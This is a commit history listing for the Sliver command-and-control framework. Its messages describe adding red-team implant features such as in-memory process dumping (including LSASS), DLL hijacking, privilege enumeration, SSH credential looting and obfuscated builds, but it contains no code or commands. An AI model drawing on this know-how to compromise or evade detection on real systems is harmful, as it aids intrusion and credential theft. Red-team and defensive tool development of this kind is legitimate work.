Compare commits

...
434 Commits
Author SHA1 Message Date
rkervella 3c07043531 Update COFFLoader version, add it back to go-assets.sh 2021-08-24 15:59:31 +02:00
rkervella b60e826a02 Merge branch 'master' into extensions 2021-08-23 11:11:21 +02:00
Joe 80b40341d8 Merge pull request #503 from RafBishopFox/master
Getprivs: Cleanup and Adding Process Name
2021-08-21 11:53:19 -05:00
Raf c4101f502d Add process name to getprivs and cleaning up getprivs code 2021-08-21 08:09:36 -04:00
rkervella 69d99e28fd Fix merge on go.mod 2021-08-20 12:44:45 +02:00
rkervella a811b53561 Fix merge 2021-08-20 12:43:12 +02:00
rkervella 4bf7246b0a Merge branch 'master' into extensions 2021-08-20 11:13:29 +02:00
rkervella febf50e464 Add debug statements + handle some edge cases 2021-08-20 11:12:18 +02:00
Joe 59bdaa7469 Merge pull request #501 from BishopFox/gh-pages
Updated Linux install script
2021-08-19 15:17:23 -05:00
moloch-- cce67c289a Updated linux install script 2021-08-19 14:55:49 -05:00
Joe 97e7df764c Merge pull request #500 from BishopFox/go/v1.17
Go/v1.17
2021-08-19 11:48:43 -05:00
moloch-- 33e03df1c9 Fix case of Binject in vendor/ 2021-08-19 11:09:47 -05:00
moloch-- d8fc1244d6 Updated Github Actions to use 1.17 2021-08-19 10:14:46 -05:00
moloch-- 93e5d21941 Go mod tidy/vendor with 1.17 2021-08-19 10:13:36 -05:00
moloch-- 7f31a9ea3e Clean up of Dockerfile, fixed import 2021-08-19 09:59:48 -05:00
moloch-- 242afb0011 Go v1.17 2021-08-19 09:38:00 -05:00
rkervella a427f86c4e Merge branch 'master' into extensions 2021-08-19 00:04:25 +02:00
Ronan Kervella 93935b1691 Merge pull request #497 from RafBishopFox/master
Extending ls functionality
2021-08-18 17:00:56 +02:00
Raf a13a4dc12e ls: Adding a bit more info to long help (Round 2). 2021-08-18 10:04:25 -04:00
Raf 4fa4562bea ls: Adding a bit more info to long help. 2021-08-18 09:24:11 -04:00
Raf 61b86a4a9a Extending ls functionality 2021-08-18 07:52:31 -04:00
rkervella 4c2a309054 Document existing issues with Darwin extensions 2021-08-18 10:17:20 +02:00
rkervella 465eb8cfee Add comment about missing callback support 2021-08-18 09:54:09 +02:00
rkervella 55da1a5dde Update vendor 2021-08-18 09:32:31 +02:00
rkervella bf44f379ec Update vendor 2021-08-18 09:31:37 +02:00
rkervella e5430caf8d Add darwin support 2021-08-18 09:30:25 +02:00
rkervella 60c5c2ee89 Merge branch 'master' into extensions 2021-08-16 18:23:10 +02:00
rkervella 9cf607d155 Fix duplicate protobuf identifier 2021-08-16 17:29:18 +02:00
rkervella e3a6b237f1 Fix typo 2021-08-16 16:22:52 +02:00
Ronan Kervella 2c70ff1291 Merge pull request #496 from RafBishopFox/master
Adding process integrity to getprivs
2021-08-16 15:55:37 +02:00
Raf 4a3a2a7be3 Adding process integrity to getprivs 2021-08-16 09:23:56 -04:00
Joe 2a8f9bca18 Merge pull request #493 from BishopFox/go/v1.16.7
Go v1.16.7
2021-08-09 10:29:06 -05:00
moloch-- d46a67c840 Go v1.16.7 2021-08-09 10:06:49 -05:00
rkervella 8b99a98d5e Merge branch 'master' into extensions 2021-08-04 14:14:46 +02:00
Ronan Kervella 043eda5bc4 Merge pull request #492 from BishopFox/procdump-memory
In-memory procdump
2021-08-04 13:23:41 +02:00
rkervella a51d93cf58 Merge branch 'master' into procdump-memory 2021-08-04 12:14:22 +02:00
rkervella 44abb0e03b Switch to in memory process dump on windows 2021-08-04 12:00:01 +02:00
Ronan Kervella 09d94ab559 Merge pull request #491 from BishopFox/jd/extensions
Extensions
2021-08-04 09:13:17 +02:00
moloch-- 1420ebd447 Moved asset setup to client/console 2021-08-03 19:51:37 -07:00
rkervella 96a531f9d4 Merge branch 'master' into extensions 2021-08-03 12:33:55 +02:00
Ronan Kervella 7ef4923fc0 Merge pull request #490 from iiiusky/fix/portfwdBug
fix: Remove default from select, which will cause the cpu to spike
Overriding commit signing for this one, it's a one line change with no security impact.
2021-08-03 11:50:18 +02:00
sky 3f83761a90 fix: Remove default from select, which will cause the cpu to spike 2021-08-03 16:11:36 +08:00
Ronan Kervella f3bdb5cadc Merge pull request #486 from BishopFox/hosts
Hosts
2021-08-02 09:04:31 +02:00
moloch-- fd3df6a3f3 Implemented ioc rm cmd 2021-07-31 11:42:23 -07:00
moloch-- 3c6b60bc3e Hosts IOC tracking support 2021-07-31 08:25:27 -07:00
moloch-- d42373e545 Added hosts iocs cmd 2021-07-29 19:41:32 -05:00
moloch-- 76e4f430d0 Merged extensions 2021-07-29 09:32:42 -05:00
moloch-- ab8d431c39 implemented hosts rm 2021-07-29 09:28:18 -05:00
moloch-- e4ad404822 Fix host uuid 2021-07-29 06:57:19 -05:00
rkervella 9e6a771a1a Merge branch 'master' into extensions 2021-07-29 11:40:54 +02:00
Ronan Kervella 94eb13610b Merge pull request #485 from BishopFox/registry
Add registry list-subkeys and list-values sub commands
2021-07-29 11:37:29 +02:00
rkervella 394fdb4a1e Add registry list-subkeys and list-values sub commands 2021-07-29 11:06:27 +02:00
rkervella 69ebbcb728 Merge branch 'extensions' of bishopfox.github.com:BishopFox/sliver into extensions 2021-07-29 10:17:28 +02:00
rkervella 5c65da3567 Add loader and default manifest to client's assets 2021-07-29 10:16:25 +02:00
rkervella 1c67a11c29 Remove CLR DLL as we don't need it anymore 2021-07-29 08:34:27 +02:00
moloch-- 755bed951b Add ioc tracking 2021-07-28 23:37:49 -05:00
moloch-- 7ba4e5bec0 Sessions for hosts 2021-07-28 23:04:26 -05:00
moloch-- 5d8d49461c Outlined hosts db and cmd 2021-07-28 22:48:14 -05:00
Joe cadc717963 Merge pull request #484 from BishopFox/jd/extensions
Platform agnostic path manipulation in macros
2021-07-28 14:27:38 -05:00
moloch-- ce4a7c7dcc Platform agnostic path manipulation in macros 2021-07-28 14:06:22 -05:00
Ronan Kervella ab8ff6a06a Merge pull request #483 from BishopFox/jd/extensions
Platform agnostic path manipulation
2021-07-28 17:41:51 +02:00
moloch-- 3b93554df2 Platform agnostic path manipulation 2021-07-28 08:20:52 -05:00
rkervella b688b7b121 Only update session when necessary 2021-07-28 14:58:01 +02:00
rkervella 3ce603a3c7 Fix constructor call, add dynamic entrypoint resolution for BOFs 2021-07-28 11:48:17 +02:00
Ronan Kervella 9d3b6564f8 Merge pull request #480 from BishopFox/fix/reg-crash
Fix crash on registry read
2021-07-27 19:02:34 +02:00
rkervella 9cdb3e6def Apply fix to reg-create and reg-write too 2021-07-27 18:43:07 +02:00
rkervella 2df7f1319f Fix #479 2021-07-27 18:40:18 +02:00
rkervella 4ad24ac3a0 Fix typo 2021-07-27 18:14:20 +02:00
rkervella 3d9df17d43 Fix path 2021-07-27 15:49:35 +02:00
rkervella d53c646af0 Store extension dir in assets 2021-07-27 15:44:05 +02:00
rkervella 601c1eea64 Add support for init function 2021-07-27 15:27:31 +02:00
rkervella 12ee96451a Refactor BOF args parsing 2021-07-27 15:24:29 +02:00
rkervella cc304ba85a Update readme 2021-07-27 15:19:09 +02:00
rkervella a743a72500 vendor update 2021-07-27 15:14:26 +02:00
rkervella 6c75b08648 Extension rework 2021-07-27 15:14:13 +02:00
Joe d928ca58dd Merge pull request #478 from RafBishopFox/master
Add new Windows command getprivs
2021-07-25 16:30:00 -05:00
Raf c18ba5fcb8 Merge branch 'master' of github.com:RafBishopFox/sliver 2021-07-25 16:29:02 -04:00
Raf 0e9545ae1c Adding getprivs command for Windows 2021-07-25 16:28:48 -04:00
Raf e6d1041068 Adding getprivs command for Windows 2021-07-25 16:07:49 -04:00
rkervella 85265d663f WIP, doesn't work with LSASS 2021-07-23 13:45:13 +02:00
Joe 7a38ddffb6 Merge pull request #477 from BishopFox/fix/proto
Migrate to google.golang.org/protobuf
2021-07-21 18:16:19 -05:00
moloch-- 5b160e358e Moved to google.golang.org/protobuf 2021-07-21 11:27:30 -05:00
moloch-- f94f0fc938 added implant/README.md 2021-07-21 11:17:57 -05:00
moloch-- 714499b21b added warning to constants header 2021-07-21 11:06:25 -05:00
Ronan Kervella 9be7ccb209 Merge pull request #476 from BishopFox/extensions
Fix extensions arguments parsing
2021-07-20 16:33:27 +02:00
rkervella a43850333b Fix extensions arguments parsing 2021-07-20 16:00:43 +02:00
Ronan Kervella f6351f725a Merge pull request #475 from BishopFox/extensions
Update sideload to use Donut
2021-07-20 15:10:19 +02:00
rkervella 1079a559ab Update sideload to use Donut 2021-07-20 14:37:45 +02:00
Ronan Kervella 5bcf9ba893 Merge pull request #474 from BishopFox/cat-hex
Add hex dump to the cat command
2021-07-20 13:27:44 +02:00
rkervella ebfa3ca86c Add hex dump to the cat command 2021-07-20 12:56:00 +02:00
Joe 6c62dfb486 Merge pull request #473 from BishopFox/fix/dns
Fixed issue #436 and standardized on --lhost/-L for all listener cmds
2021-07-19 17:46:28 -05:00
moloch-- 76cd61a27d Fixed issue #436 and standardized on --lhost/-L for all listener commands 2021-07-19 15:53:16 -05:00
Ronan Kervella 35d692b4ca Merge pull request #472 from BishopFox/dll-hijack
Add dllhijack command
2021-07-19 17:16:44 +02:00
rkervella a1058aa4f0 Update long help 2021-07-19 16:40:11 +02:00
rkervella ae3c082498 Add dllhijack command 2021-07-19 15:43:16 +02:00
Ronan Kervella d3a107cf43 Merge pull request #471 from BishopFox/duphandle
Use DuplicateHandle to get a fully privileged handle to remote processes instead of PROCESS_ALL_ACCESS request
2021-07-16 15:00:40 +02:00
rkervella ee5acfe47b No more OpenProcess with PROCESSS_ALL_ACCESS 2021-07-16 14:16:18 +02:00
Joe 10c3062016 Merge pull request #470 from BishopFox/stage
Go v1.16.6
2021-07-15 15:11:43 -05:00
moloch-- 5e80dfcfb9 Go v1.16.6 2021-07-15 14:51:37 -05:00
Joe 5bcfa4c249 Merge pull request #468 from BishopFox/stage
Disable garble's -tiny option
2021-07-13 08:07:10 -05:00
rkervella ac3e29a287 Disable garble's -tiny option 2021-07-13 14:34:20 +02:00
Joe a3af100db0 Update README.md 2021-07-09 17:05:58 -05:00
Joe 7489c69962 Merge pull request #465 from BishopFox/gh-pages
Bug Fixes & GH Pages
2021-07-09 16:45:21 -05:00
moloch-- 3859b3493e Added some content 2021-07-09 16:26:13 -05:00
moloch-- 874023b8c3 Fix bug in loot allOf 2021-07-09 16:11:14 -05:00
moloch-- 5f971b36d4 Outlined docs/ 2021-07-09 14:46:59 -05:00
moloch-- b2451c4bfb All survey v2 2021-07-09 14:46:02 -05:00
moloch-- 2af5195c85 Updated readme 2021-07-06 20:53:11 -05:00
moloch-- bff100ad31 Updated readme 2021-07-06 19:43:54 -05:00
Joe b20ee295bb Merge pull request #464 from BishopFox/ux/generate
Add warning when cross-compiling to targets without a cross-compiler …
2021-07-06 09:39:18 -05:00
moloch-- 249f9355f2 Fix typo 2021-07-06 09:19:01 -05:00
moloch-- 3793fae878 Add warning when cross-compiling to targets without a cross-compiler instaleld 2021-07-06 09:15:45 -05:00
Ronan Kervella 3e8ce33a49 Merge pull request #462 from BishopFox/fix/461
Fix #461
2021-07-06 15:16:17 +02:00
rkervella 2ea95543a9 Fix #461 2021-07-06 14:28:23 +02:00
moloch-- 1857b9c0ed More readme's 2021-07-05 23:05:45 -05:00
Joe 9e56e9ac4b Merge pull request #459 from BishopFox/reaction
Reaction
2021-07-05 21:11:35 -05:00
moloch-- 106b2a7c5c Cleanup/tweaks 2021-07-05 18:07:42 -05:00
moloch-- 8d3cba07ef Added verbose help for reactions 2021-07-05 17:09:11 -05:00
moloch-- 43398e2eee Added save/reload cmds, autoload reactions if they exist at start up 2021-07-05 16:34:06 -05:00
moloch-- 8d8e902a72 get-env, etc -> env with subcommands 2021-07-05 15:57:01 -05:00
moloch-- 28c7460983 Cleanup some reaction code 2021-07-05 13:32:35 -05:00
moloch-- 084faf44ca Implemented event reaction command 2021-07-05 12:09:40 -05:00
Joe c616f7a9b2 Merge pull request #458 from BishopFox/fix/golint
Various golint fixes
2021-07-04 14:22:13 -05:00
moloch-- 53d6d14c72 Various golint fixes 2021-07-04 14:04:29 -05:00
Joe ea32922663 Merge pull request #457 from BishopFox/fix/golint
Fix/golint
2021-07-04 13:39:58 -05:00
moloch-- 7321f62778 golint fixes in server/generate 2021-07-04 13:22:27 -05:00
moloch-- cee5966e77 golint fixes in client/core 2021-07-04 13:19:53 -05:00
moloch-- b800448670 golint fixes in server/ 2021-07-04 13:17:18 -05:00
moloch-- 9a5d6948fe Added export comments to client/command 2021-07-04 13:08:15 -05:00
moloch-- 2e4ab0a3bb Move lic 2021-07-04 10:53:04 -05:00
moloch-- c06c87bf3a Fix code comment 2021-07-04 09:20:03 -05:00
Joe bfc645846e Merge pull request #456 from BishopFox/client-refactor
Client Refactor
2021-07-04 09:14:56 -05:00
moloch-- 7a56c9423c Hunted down any remaining calls to fmt.Print 2021-07-04 08:00:43 -05:00
moloch-- 249fee093d Refactored extensions, client refactor completed 2021-07-03 18:02:06 -05:00
moloch-- 3ee1f5a7c5 Always clear prompt line, initialize isServer 2021-07-03 17:54:04 -05:00
moloch-- 80e42b307d Refactored screenshot, improvements to sessions 2021-07-03 17:50:15 -05:00
moloch-- 13bfc10223 Refactored shell, added ssh to exec pkg 2021-07-03 16:37:36 -05:00
moloch-- 32957cb9bd Refactored monitor, network, pivots, and portfwd 2021-07-03 16:26:40 -05:00
moloch-- de49318845 Refactored registry and websites 2021-07-03 15:53:08 -05:00
moloch-- 1696184d6b Refactored registry and websites 2021-07-03 15:52:55 -05:00
moloch-- 8e215c2bd0 Refactored privilege, updated loot 2021-07-03 15:14:44 -05:00
moloch-- 94147ca1ab Refactored backdoor and wg 2021-07-03 14:49:55 -05:00
moloch-- 71c921b36e Refactored stage listener 2021-07-03 14:25:28 -05:00
moloch-- 993996bc91 Refactored sessions and operators 2021-07-03 14:12:02 -05:00
moloch-- 1c81b2baae Refactored jobs 2021-07-03 12:33:44 -05:00
moloch-- b01376d3e6 Updated client/command/README.md 2021-07-03 12:10:44 -05:00
moloch-- a344d8b972 Refactored generate 2021-07-03 12:03:58 -05:00
moloch-- 6070997279 client/ 2021-07-03 12:03:40 -05:00
moloch-- fa2ab0bad2 Refactored info 2021-07-03 11:38:48 -05:00
moloch-- ad5e3024d6 Refactored exec and loot 2021-07-03 11:32:42 -05:00
moloch-- de8acdccc5 Refactored file system cmds 2021-07-03 10:47:21 -05:00
moloch-- 48dc187e50 Outlined update cmd 2021-07-03 10:33:51 -05:00
moloch-- b8671cc160 Outlined major refactor of client/ 2021-07-03 10:14:49 -05:00
Joe f318c002de Merge pull request #418 from janedoe-lab/reverse-proxy-remoteaddr
Fetch correct remote addr when sliver server runs behind reverse proxy
2021-07-02 09:53:32 -05:00
Joe 15a8aa7cd5 Merge pull request #455 from BishopFox/prompt
Prompt
2021-07-02 09:41:09 -05:00
moloch-- f9c91f1ad7 Improved validate and annotation of where we derive remote address from 2021-07-02 09:32:14 -05:00
moloch-- 69aefd6ab2 Merge branch 'master' into reverse-proxy-remoteaddr 2021-07-02 09:31:51 -05:00
moloch-- 4cf45b100b Remove memory/cpu warning for obfuscated symbols 2021-07-02 09:16:21 -05:00
Joe a2aa9c2daf Merge pull request #454 from BishopFox/generate-info
Generate Info
2021-07-02 09:14:23 -05:00
moloch-- 1cace21960 Modify prompt depending on if the client is running as the server/multiplayer client 2021-07-02 09:14:02 -05:00
moloch-- f02783206f Merge branch 'master' into generate-info 2021-07-02 08:49:05 -05:00
Ronan Kervella dbe6cb8843 Merge pull request #452 from BishopFox/ssh
Add support for loot in the SSH command
2021-07-02 09:20:32 +02:00
moloch-- dc74940cb9 Removed extra logging 2021-07-01 19:43:27 -05:00
moloch-- 16ee381eae Improved ux around 'generate info' 2021-07-01 19:37:48 -05:00
moloch-- 1379ff6afe Improved ux around 'generate info' 2021-07-01 19:21:46 -05:00
moloch-- 91d277baae Added list of 'unsupported' compiler targets 2021-07-01 19:05:53 -05:00
moloch-- 330e0e7bdd Added missing lic headers 2021-07-01 18:07:00 -05:00
Joe 0df8f9049d Merge pull request #453 from BishopFox/actions
Add 45min timeouts to actions
2021-07-01 15:42:59 -05:00
rkervella d213728abe Merge branch 'master' into ssh 2021-07-01 21:46:06 +02:00
moloch-- 1b2f0e79f8 Add 45min timeouts to actions 2021-07-01 14:40:34 -05:00
Joe f6f68dc93c Merge pull request #451 from BishopFox/loot
Loot
2021-07-01 13:59:16 -05:00
moloch-- c47b024ea9 Added loot rename command 2021-07-01 13:13:08 -05:00
rkervella dedcb42c0f Add loot credentials support to SSH command 2021-07-01 19:21:04 +02:00
rkervella 43323aed38 Merge branch 'master' into ssh 2021-07-01 18:24:44 +02:00
moloch-- 6e8949cb13 Added 'save as loot' option to some commands, improved displaying textual loot 2021-07-01 08:08:21 -05:00
Joe 3ab6061bb8 Merge pull request #450 from BishopFox/defaultshell
Default Shell
2021-07-01 07:10:01 -05:00
moloch-- f28010137d Better ux and logging for shell_default 2021-06-30 21:49:04 -05:00
moloch-- 7ec5b83227 Enable dumb shell and portfwd in default builds 2021-06-30 17:03:04 -05:00
Joe c69486cc40 Merge pull request #449 from BishopFox/help
Fixes and improvements to 'help'
2021-06-30 15:28:55 -05:00
moloch-- e69cf6a51e Fixes and improvements to 'help' 2021-06-30 14:32:16 -05:00
Joe f056fdf893 Merge pull request #447 from BishopFox/loot
Loot
2021-06-30 12:49:32 -05:00
rkervella f49c83961e Handle CredentialType_FILE for displayLootCredentials 2021-06-30 18:56:49 +02:00
moloch-- 7993b4c2c6 Added long form --help to loot cmd 2021-06-30 11:35:55 -05:00
moloch-- 35b28941a3 Improved loot ux 2021-06-30 11:16:41 -05:00
moloch-- 543950ad8a Refactored loot scheme to support credential files 2021-06-30 10:02:37 -05:00
moloch-- e4b036feb9 removed redundent param checks 2021-06-30 07:33:31 -05:00
Ronan Kervella acb079ed07 Merge pull request #448 from BishopFox/grumble-update
Refactor to remove useless argument checks.
2021-06-30 11:29:59 +02:00
rkervella c918499595 Refactor to remove useless argument checks.
Fix optional argument issue on `info`
2021-06-30 11:02:30 +02:00
moloch-- 8349abb7b2 Fix event type typo 2021-06-29 22:38:56 -05:00
moloch-- 2fa02e5f35 Publish loot events 2021-06-29 22:36:33 -05:00
moloch-- 02b6c6eb98 Fix unit tests 2021-06-29 22:12:24 -05:00
moloch-- 77565919df Added creds subcommand 2021-06-29 21:37:52 -05:00
moloch-- 8095fc8239 Basic functionality working 2021-06-29 21:08:25 -05:00
moloch-- 4dfd1842fc Working on user interface 2021-06-29 19:18:36 -05:00
moloch-- 7a3be8f0be Unit tests pass 2021-06-29 17:19:18 -05:00
moloch-- a7cacc5aac Outlined loot APIs 2021-06-29 16:27:03 -05:00
Joe 0eecbd2d6c Merge pull request #446 from BishopFox/compiler
Add Compiler Info Cmd
2021-06-29 09:31:15 -05:00
moloch-- 7967e1f4f8 Added cross-compilers to GetCompiler response 2021-06-29 09:10:36 -05:00
moloch-- 9cabf02b0d Updated licenses 2021-06-29 08:33:42 -05:00
moloch-- e1518853da Merged master 2021-06-29 08:29:14 -05:00
moloch-- 65dd048ad1 syntax fix 2021-06-29 08:24:35 -05:00
Ronan Kervella a447dd1331 Merge pull request #444 from BishopFox/grumble-update
Grumble update
2021-06-29 10:36:09 +02:00
moloch-- 93744799dc Moved profile-generate and new-profile under profiles cmd 2021-06-28 21:59:53 -05:00
moloch-- b8b1574ab5 Implemented GetCompiler, small refactor to pb 2021-06-28 21:41:53 -05:00
moloch-- eb4573d103 Updated pb 2021-06-28 17:36:15 -05:00
rkervella e526554797 Update vendor 2021-06-28 14:01:04 +02:00
rkervella 10dde3d3d1 Major grumble upgrade 2021-06-28 14:00:56 +02:00
Ronan Kervella 31ed94b869 Merge pull request #443 from BishopFox/stage
Disable codeql scanning for PRs
2021-06-28 11:58:59 +02:00
rkervella 6fbde7400d Refactor ssh client 2021-06-28 11:00:37 +02:00
rkervella 2aadc4bb1e Remove debug comment 2021-06-28 10:54:06 +02:00
rkervella e110fc4fb7 Disable codeql scanning for PRs 2021-06-28 10:51:06 +02:00
Ronan Kervella edcaf11557 Merge pull request #441 from BishopFox/ssh
Add an SSH client to implants
2021-06-25 17:12:56 +02:00
rkervella d20c86c227 Update codeql workflow 2021-06-25 16:47:28 +02:00
rkervella c11055e0f6 Update flags to be more consistent with the regular ssh client 2021-06-25 16:34:57 +02:00
rkervella 0ccd25d450 Add support for windows, make code arch specific 2021-06-25 15:53:45 +02:00
rkervella 9e3aaa9976 Add support for external credentials (private key or password) 2021-06-25 15:23:51 +02:00
rkervella fce6fd61d7 Update vendor 2021-06-25 12:03:00 +02:00
rkervella 209bbd9b8b Add SSH command 2021-06-25 12:02:37 +02:00
Ronan Kervella 410f0756d2 Merge pull request #440 from BishopFox/snitch
Add optional monitoring of implant hashes on Virus Total and IBM X-Force
2021-06-24 16:29:36 +02:00
rkervella 633a423d35 Update vendor 2021-06-24 15:34:35 +02:00
rkervella 72b15b1453 Monitor command working 2021-06-24 15:34:04 +02:00
Joe e600f9fa56 Merge pull request #438 from BishopFox/stage
Fix default path for mingw on macos
2021-06-18 13:35:43 -05:00
moloch-- 7c66ce8715 Fix default path for mingw on macos 2021-06-18 11:04:40 -05:00
Joe 1231b8ce03 Merge pull request #437 from BishopFox/stage
Stage
2021-06-17 20:10:41 -05:00
rkervella c074008efb Fix string leaks via refactor of protobuf enums 2021-06-17 20:05:41 +02:00
moloch-- 9684689b1f Bump version of Garble to 1.16.7 with increased literal max size 2021-06-16 10:27:55 -05:00
Joe ee5bc3809c Merge pull request #434 from BishopFox/stage
Go 1.16.5 & Darwin musl CC
2021-06-06 06:43:44 -05:00
moloch-- 0ecb28c6a5 Added darwin musl cc default path 2021-06-05 23:03:22 -05:00
moloch-- cb6f4327d8 Go v1.16.5 2021-06-03 19:06:46 -05:00
Joe 37a09d5167 Update README.md 2021-06-01 18:44:20 -05:00
Joe 21d61eca59 Merge pull request #431 from BishopFox/stage
Better Cross-comiler Support
2021-05-30 13:00:13 -05:00
moloch-- 562a40dfac Added default paths for osxcross 2021-05-30 12:27:15 -05:00
moloch-- 5e48f3bdf9 Platform specific cross-compiler env/configs 2021-05-30 09:51:27 -05:00
moloch-- e49dbf7dbe Updated Garble 2021-05-23 16:57:18 -05:00
moloch-- ea6a17c3e6 Updated Go/Garble v1.16.4 2021-05-11 07:35:42 -05:00
Joe 1c62152827 Update README.md 2021-05-07 13:27:15 -05:00
Ronan Kervella 516f05622f Merge pull request #425 from BishopFox/env
Multiple improvments
2021-05-07 13:19:57 +02:00
rkervella 40cb216d5f Update comments 2021-05-07 12:13:20 +02:00
rkervella bd8229831c Add netstat for macos 2021-05-07 12:01:34 +02:00
rkervella f4d5f2be8f Update build tag 2021-05-06 16:00:19 +02:00
rkervella f4030ac3fb Update srcfiles 2021-05-06 15:18:56 +02:00
rkervella f54239d869 Remove useless file 2021-05-06 15:17:32 +02:00
rkervella 714d75edfd Revert filename change 2021-05-06 15:17:23 +02:00
rkervella fb773e8ddf Set filename to arch specific format 2021-05-06 14:47:53 +02:00
rkervella b37b6c3f84 Add process owner for Darwin ps 2021-05-06 13:48:03 +02:00
rkervella c8d186c9ba Add command line argument support for Darwin and Linux for the ps
command
2021-05-06 11:07:52 +02:00
rkervella 5de3b3fca5 Move msg to the end to avoid compat issues 2021-05-03 15:34:20 +02:00
rkervella f1e0af5453 Add unsetenv command 2021-05-03 14:47:01 +02:00
Joe 672c0e29d0 Merge pull request #424 from BishopFox/stage
DNS Fixes
2021-05-02 12:42:05 -05:00
moloch-- 4e0cd2b5e7 Minor tweaks to PR, reduced retry sleep to 250milli 2021-05-02 11:44:03 -05:00
Joe a378db33ca Merge pull request #420 from rwincey/tunnel-send-cache
Multiple Fixes
2021-04-30 23:16:18 -05:00
rwincey 28d0e445c3 Multiple Fixes
1. Recently introduced configurable implant intervals where not persistent in the current run. If a reconnect happens, the original values were sent to the server during initial handshake rather than the updated values.
2. Fixed race condition in DNS UDP server code that was not unlocking the DNS session map and thus breaking everything.
3. Removed code that was removing the DNS UDP session key stored during the initial handshake in the event that a failure happens in the middle of the handshake. This bug was uncovered due to the race condition in 2.
4. Added 1 second sleep between DNS lookup retries.
5. Removed "-" from dnsCharSet on server like was done to fix DNS related issue in the implant.
6. Add line to update the checkin time for the UDP DNS implant on each poll rather that just when a initial handshake is completed.
7. Updated ALIVE/DEAD code to check the maximum of the reconnect interval and poll interval.
2021-04-30 13:52:59 -04:00
Jane Doe 866e1cf0b6 Fetch correct remote addr when sliver server runs behind reverse proxy 2021-04-29 17:56:14 +00:00
Joe e957b41eeb Merge pull request #417 from BishopFox/stage
Merge Tunnel Cache PR
2021-04-28 19:45:31 -05:00
moloch-- 985b213dc5 Minor refactor 2021-04-28 19:27:44 -05:00
moloch-- df33a6922f Updates with with non .zip files 2021-04-28 19:19:12 -05:00
Joe 6b5e65df3d Merge pull request #414 from rwincey/tunnel-send-cache
Tunnel send cache
2021-04-28 13:39:57 -05:00
rwincey f847e06119 Updated sliver protobuf 2021-04-28 11:17:41 -04:00
rwincey 79b56f477d Event send on closed channel 2021-04-28 10:38:22 -04:00
b0yd 54af39cc11 Merge branch 'master' of https://github.com/BishopFox/sliver into tunnel-send-cache 2021-04-28 10:32:53 -04:00
Joe 2fe0a61c70 Merge pull request #412 from BishopFox/stage
PR 410
2021-04-28 09:12:35 -05:00
moloch-- ce8f1b183e Merge branch 'master' into stage 2021-04-28 08:34:32 -05:00
b0yd a392cbe0d2 Merge branch 'master' of https://github.com/BishopFox/sliver into tunnel-send-cache 2021-04-28 09:09:17 -04:00
Ronan Kervella 94384b00b9 Merge pull request #413 from BishopFox/fix/pivot
Log new pivot connection to audit log
2021-04-28 13:52:25 +02:00
rkervella 805bfda559 Log new pivot connection to audit log 2021-04-28 12:08:55 +02:00
moloch-- 781cf5c883 Vendor build by default 2021-04-27 23:08:54 -05:00
moloch-- 84cbdb8bb6 Removed unused code 2021-04-27 20:38:13 -05:00
moloch-- f3550619f5 Merge branch 'pr/410' into stage 2021-04-27 20:31:55 -05:00
Joe b79b37df7e Merge pull request #410 from rwincey/dns-interval
Update Reconnect & Poll Intervals - DNS failure bug fix
2021-04-27 20:31:42 -05:00
moloch-- 950e970c91 Update protobuf 2021-04-27 20:30:06 -05:00
rwincey 1a32f5c173 Fixed meta data for debug messages 2021-04-27 16:23:48 -04:00
rwincey 7dc663f7c7 Fixed config meta data that was missing for debug 2021-04-27 16:14:40 -04:00
rwincey 7cbec86c3d Shell & DNS implant reliability
1. Fixed bug in DNS implant dictionary. It appears a nonce that ends in "-" is invalid and thus creates substantial dataloss in the comms. Removed this from the DNS charset.
2. Added send cache to server rpc tunnel to allow for resending of messages in the event that a packet is lost. Added additional field for tracking send and recv sequence numbers to the tunnel data struct.
3. Added mutex to implant tunnel handler since multiple shared data structures were being accessed and modified in parallel and causing issues.
3.
2021-04-27 15:36:23 -04:00
rwincey 77376fc592 Merge branch 'master' of https://github.com/rwincey/sliver 2021-04-26 12:53:27 -04:00
rwincey 5c59e1fdef Added ability to view and set reconnect and poll intervals 2021-04-26 12:53:22 -04:00
b0yd 6a96b35de6 Added code to drop out of DNS Poll limit on 3 concurrent request errors 2021-04-23 09:34:49 -04:00
Joe 6c02971b54 Merge pull request #408 from BishopFox/stage
Added support for path prefixes in HTTP C2
2021-04-22 17:45:57 -05:00
moloch-- a23da07fb8 Added support for path prefixes in HTTP C2 2021-04-22 16:22:20 -05:00
Joe 6ddf846bc7 Merge pull request #407 from BishopFox/stage
Fix Upload Encoder / Improved Error Handling
2021-04-22 11:10:35 -05:00
moloch-- 8c27bd6b1f Avoid name confusion in upload handler 2021-04-22 10:07:42 -05:00
moloch-- 308c6952dc Properly handle upload encoder, improved error handling 2021-04-22 09:54:33 -05:00
moloch-- 7361e50a00 Updated garble 2021-04-22 08:45:25 -05:00
moloch-- 21aebb9c7e Merge branch 'master' into stage 2021-04-22 08:20:52 -05:00
Ronan Kervella ba43f1d83b Merge pull request #403 from BishopFox/fix/dnscrash
Ensure dnsSession is not nil before using it
2021-04-21 11:33:20 +02:00
rkervella e4bdad20df Ensure dnsSession is not nil before using it 2021-04-21 09:21:48 +02:00
moloch-- 8c749d4b9c Added more ascii banners 2021-04-17 11:06:29 -05:00
moloch-- d0a85da671 Generate accepts Go's amd64/386 args 2021-04-16 07:07:18 -05:00
Ronan Kervella 32a3305e44 Merge pull request #398 from BishopFox/stage
Add WG config to implant profiles
2021-04-15 12:56:56 +02:00
rkervella 8bfca6abe7 Only display errors in debug mode 2021-04-15 12:31:21 +02:00
rkervella f750575105 Fix wg config in implant profiles 2021-04-15 12:16:27 +02:00
rkervella e8bda7e111 Fix missing wg config in stage-listener 2021-04-15 11:35:33 +02:00
Joe 63b90eb212 Merge pull request #397 from BishopFox/stage
Added --save flag to wg-config
2021-04-14 19:31:23 -05:00
moloch-- 415ab63a7c Added --save flag to wg-config 2021-04-14 19:06:02 -05:00
Ronan Kervella d927160d52 Merge pull request #396 from BishopFox/stage
Stage
2021-04-14 20:36:19 +02:00
rkervella 5cd0d54e95 Merge branch 'master' into stage 2021-04-14 20:14:42 +02:00
rkervella b457674d2e Fix Makefile 2021-04-14 20:14:12 +02:00
Joe bd141ac51f Update README.md 2021-04-13 17:50:53 -05:00
Ronan Kervella 7f92148109 Merge pull request #395 from BishopFox/stage
Set meaningful flags for format and limit-fileexists
2021-04-13 16:49:45 +02:00
rkervella f7dd928511 Set meaningful flags for format and limit-fileexists 2021-04-13 16:25:40 +02:00
Joe 675e289ab3 Merge pull request #393 from BishopFox/portfwd2
Portfwd
2021-04-13 07:13:01 -05:00
Ronan Kervella 5033794a8d Merge pull request #394 from BishopFox/test/codeql
Re-enable codeql scanning on master PRs
2021-04-13 13:43:53 +02:00
